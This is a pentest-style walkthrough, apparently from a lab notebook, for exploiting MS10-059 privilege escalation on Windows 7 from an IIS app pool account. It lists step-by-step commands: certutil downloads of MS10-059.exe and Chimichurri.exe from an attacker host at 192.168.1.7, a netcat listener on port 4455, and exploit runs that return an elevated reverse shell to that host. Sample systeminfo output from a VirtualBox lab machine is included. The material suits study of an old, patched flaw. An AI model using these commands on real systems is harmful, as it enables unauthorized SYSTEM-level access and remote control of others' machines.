MS10-059.md

MS10-059 – Vulnerabilities in the Tracing Feature for Services

MS10-059 is an elevation of privilege vulnerability in the Tracing feature for Windows Services. This exploit works specifically with IIS users (like IIS APPPOOL\DEFAULTAPPPOOL). Successful exploitation can allow an attacker to execute code with elevated privileges.

Note

• Exploit works with IIS users only.

• Tested on Windows 7 Ultimate (x86 and x64).

Identify IIS User:

whoami

Example Output:

iis apppool\defaultapppool

Reference Link:

WebShell ASPX Shell

System Information Example:

Host Name	OS Name	OS Version	System Type
WIN7-PC	Microsoft Windows 7 Ultimate	6.1.7600 Build 7600	X86-based PC
RAHUL-PC	Microsoft Windows 7 Ultimate	6.1.7600 Build 7600	x64-based PC

Host Name:                 WIN7-PC
OS Name:                   Microsoft Windows 7 Ultimate
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          win7
Registered Organization:
Product ID:                00426-OEM-8992662-00497
Original Install Date:     3/12/2025, 3:16:22 PM
System Boot Time:          3/12/2025, 3:20:31 PM
System Manufacturer:       innotek GmbH
System Model:              VirtualBox
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 97 Stepping 2 AuthenticAMD ~4197 Mhz
BIOS Version:              innotek GmbH VirtualBox, 12/1/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+05:30) Chennai, Kolkata, Mumbai, New Delhi
Total Physical Memory:     8,080 MB
Available Physical Memory: 7,226 MB
Virtual Memory: Max Size:  16,157 MB
Virtual Memory: Available: 15,252 MB
Virtual Memory: In Use:    905 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Desktop Adapter
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.1.71

Exploit Files:

• MS10-059 Exploit on SecWiki

• Chimichurri Exploit

Exploit Execution:

1. Download Exploit to Target Machine:

• Using certutil to download the exploit file:

certutil.exe -urlcache -split -f "http://192.168.1.7/MS10-059.exe" MS10-059.exe

certutil.exe -urlcache -split -f "http://192.168.1.7/Chimichurri.exe" Chimichurri.exe

2. Start a Netcat Listener on the Attacker Machine:

• Use Netcat to listen for a reverse shell connection:

nc -nlvp 4455

• Or with rlwrap for better interaction:

rlwrap nc -nlvp 4455

3. Execute the Exploit:

• Run the exploit and connect to the attacker's machine:

MS10-059.exe 192.168.1.7 4455

4. Using Chimichurri Exploit:

• Alternatively, use Chimichurri:

Chimichurri.exe 192.168.1.7 4455

Successful Output Example:

• If successful, you will get a reverse shell on the attacker machine with elevated privileges.

Related

• Windows Kernel Exploits — parent hub
• MS10 015 — sibling kernel exploit
• MS14 058 — sibling kernel exploit
• Windows Privilege Escalation — escalation context